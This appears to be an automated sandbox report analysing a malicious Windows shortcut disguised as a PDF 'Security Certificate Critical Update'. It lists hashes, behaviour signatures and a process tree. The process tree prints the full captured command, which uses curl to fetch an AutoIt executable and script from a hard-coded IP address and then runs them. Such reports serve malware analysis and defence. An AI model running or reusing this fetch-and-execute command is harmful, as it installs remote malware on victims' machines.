Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14/09/2023, 12:33

General

  • Target

    Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk

  • Size

    1KB

  • MD5

    0fad99c622ad5b86b8fc8a9ed327e945

  • SHA1

    85eb43846480e91ff4dee61acfac8de2624a9533

  • SHA256

    4b927aa4c6ef461fb21f23cebf8d8e890801f70c06d72926befd0ce146bc7852

  • SHA512

    810b1b84d368e6c591293a7cfc61aa166bc375e7876bf125184bf71df39af281b37eb5008a1d46c6e73d0ce7b76ae93c564f8173b63b1320f60a51d2864a7d6a

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:748
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k curl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" "http://5.188.87.58:2351/msimdvyknat" & "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" & exit
      2⤵
        PID:2736

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads